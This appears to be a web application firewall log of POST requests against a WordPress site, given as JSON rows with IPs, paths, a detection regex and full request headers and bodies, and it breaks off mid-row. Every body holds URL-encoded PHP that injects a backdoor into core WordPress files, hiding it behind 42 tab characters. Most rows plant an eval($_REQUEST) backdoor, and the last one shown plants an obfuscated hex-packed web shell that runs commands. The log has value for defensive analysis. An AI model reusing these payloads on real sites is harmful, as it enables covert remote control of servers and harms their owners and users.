3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvF1xvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz11oUEcVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\ncontent-length:2033\nsec-fetch-mode:navigate\nsec-fetch-site:none\n\nKY=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/update.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527ediFsA%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 12:44:12","208.109.188.137","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> wO:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/update.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527ediFsA%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvq08vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAioaEyoaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\ncontent-length:2033\nsec-fetch-mode:navigate\nsec-fetch-site:none\n\nwO=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/update.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527ediFsA%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 12:44:17","46.32.255.52","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> EI:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/update.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527ediFsA%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvEHxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhL2k1MTHvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\ncontent-length:2033\nsec-fetch-mode:navigate\nsec-fetch-site:none\n\nEI=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/update.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527ediFsA%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 12:44:25","38.95.35.74","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/update.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527ediFsA%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\naccept:*\/*\nsec-fetch-dest:document\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:2056\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-platform:\"Windows\"\naccept-encoding:gzip,deflate\nsec-fetch-user:?1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-site:none\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/update.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527ediFsA%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 12:45:10","78.142.18.172","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> LL:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-tags.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524hld1%2520%253D%2520%25277%2527%253B%2524hld2%2520%253D%2520%25273%2527%253B%2524hld3%2520%253D%2520%25276%2527%253B%2524hld4%2520%253D%2520%25275%2527%253B%2524hld5%2520%253D%2520%2527c%2527%253B%2524hld6%2520%253D%2520%2527f%2527%253B%2524hld7%2520%253D%2520%25278%2527%253B%2524hld8%2520%253D%2520%25270%2527%253B%2524hld9%2520%253D%2520%25274%2527%253B%2524hld10%2520%253D%2520%2527e%2527%253B%2524hld11%2520%253D%2520%25271%2527%253B%2524hld12%2520%253D%2520%2527d%2527%253B%2524hld13%2520%253D%2520%25272%2527%253B%2524query_handler1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld1%2520.%2520%2524hld2%2520.%2520%25277%2527%2520.%2520%25279%2527%2520.%2520%2524hld1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%2524hld3%2520.%2520%2524hld4%2520.%2520%25276%2527%2520.%2520%2527d%2527%2529%253B%2524query_handler2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524hld2%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%2524hld4%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%2524hld3%2520.%2520%2524hld5%2520.%2520%2524hld4%2520.%2520%2524hld6%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%2524hld7%2520.%2520%2524hld3%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%25273%2527%2529%253B%2524query_handler3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld3%2520.%2520%2524hld4%2520.%2520%25277%2527%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524hld3%2520.%2520%2524hld2%2529%253B%2524query_handler4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524hld8%2520.%2520%2524hld3%2520.%2520%25271%2527%2520.%2520%2524hld1%2520.%2520%25273%2527%2520.%2520%2524hld1%2520.%2520%25273%2527%2520.%2520%2524hld1%2520.%2520%2524hld9%2520.%2520%2524hld3%2520.%2520%25278%2527%2520.%2520%25277%2527%2520.%2520%25272%2527%2520.%2520%2524hld1%2520.%2520%25275%2527%2529%253B%2524query_handler5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld1%2520.%2520%25270%2527%2520.%2520%2524hld3%2520.%2520%2527f%2527%2520.%2520%2524hld1%2520.%2520%2524hld8%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524hld10%2529%253B%2524query_handler6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld1%2520.%2520%2524hld2%2520.%2520%2524hld1%2520.%2520%2524hld9%2520.%2520%2524hld1%2520.%2520%25272%2527%2520.%2520%2524hld3%2520.%2520%25275%2527%2520.%2520%2524hld3%2520.%2520%2524hld11%2520.%2520%25276%2527%2520.%2520%2524hld12%2520.%2520%2524hld4%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%25277%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25275%2527%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%25273%2527%2520.%2520%2524hld3%2520.%2520%2527f%2527%2520.%2520%2524hld3%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%2524hld3%2520.%2520%2524hld4%2520.%2520%2524hld3%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%2524hld9%2520.%2520%25277%2527%2520.%2520%25273%2527%2529%253B%2524query_handler7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld1%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%25273%2527%2520.%2520%2524hld3%2520.%2520%2524hld5%2520.%2520%2524hld3%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%2524hld4%2529%253B%2524module_controller%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527%2520.%2520%2524hld12%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%2524hld3%2520.%2520%25274%2527%2520.%2520%2524hld1%2520.%2520%2524hld4%2520.%2520%2524hld3%2520.%2520%2524hld5%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524hld4%2520.%2520%2527f%2527%2520.%2520%2524hld3%2520.%2520%2524hld2%2520.%2520%25276%2527%2520.%2520%2524hld6%2520.%2520%2524hld3%2520.%2520%2527e%2527%2520.%2520%2524hld1%2520.%2520%2524hld9%2520.%2520%25277%2527%2520.%2520%2524hld13%2520.%2520%25276%2527%2520.%2520%2524hld6%2520.%2520%2524hld3%2520.%2520%2527c%2527%2520.%2520%2524hld3%2520.%2520%2524hld5%2520.%2520%2524hld3%2520.%2520%25275%2527%2520.%2520%2524hld1%2520.%2520%2524hld13%2529%253Bif%2528isset%2528%2524_POST%255B%2524module_controller%255D%2529%2529%257B%2524module_controller%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524module_controller%255D%2529%253Bif%2528function_exists%2528%2524query_handler1%2529%2529%257B%2524query_handler1%2528%2524module_controller%2529%253B%257Delseif%2528function_exists%2528%2524query_handler2%2529%2529%257Bprint%2520%2524query_handler2%2528%2524module_controller%2529%253B%257Delseif%2528function_exists%2528%2524query_handler3%2529%2529%257B%2524query_handler3%2528%2524module_controller%252C%2524pointer_token%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524pointer_token%2529%253B%257Delseif%2528function_exists%2528%2524query_handler4%2529%2529%257B%2524query_handler4%2528%2524module_controller%2529%253B%257Delseif%2528function_exists%2528%2524query_handler5%2529%2526%2526function_exists%2528%2524query_handler6%2529%2526%2526function_exists%2528%2524query_handler7%2529%2529%257B%2524sym_binding%253D%2524query_handler5%2528%2524module_controller%252C%2522r%2522%2529%253Bif%2528%2524sym_binding%2529%257B%2524comp_dchunk%253D%2524query_handler6%2528%2524sym_binding%2529%253B%2524query_handler7%2528%2524sym_binding%2529%253Bprint%2520%2524comp_dchunk%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGRjvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAiozMcMlV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\ncontent-length:9103\nsec-fetch-mode:navigate\nsec-fetch-site:none\n\nLL=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-tags.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524hld1%2520%253D%2520%25277%2527%253B%2524hld2%2520%253D%2520%25273%2527%253B%2524hld3%2520%253D%2520%25276%2527%253B%2524hld4%2520%253D%2520%25275%2527%253B%2524hld5%2520%253D%2520%2527c%2527%253B%2524hld6%2520%253D%2520%2527f%2527%253B%2524hld7%2520%253D%2520%25278%2527%253B%2524hld8%2520%253D%2520%25270%2527%253B%2524hld9%2520%253D%2520%25274%2527%253B%2524hld10%2520%253D%2520%2527e%2527%253B%2524hld11%2520%253D%2520%25271%2527%253B%2524hld12%2520%253D%2520%2527d%2527%253B%2524hld13%2520%253D%2520%25272%2527%253B%2524query_handler1%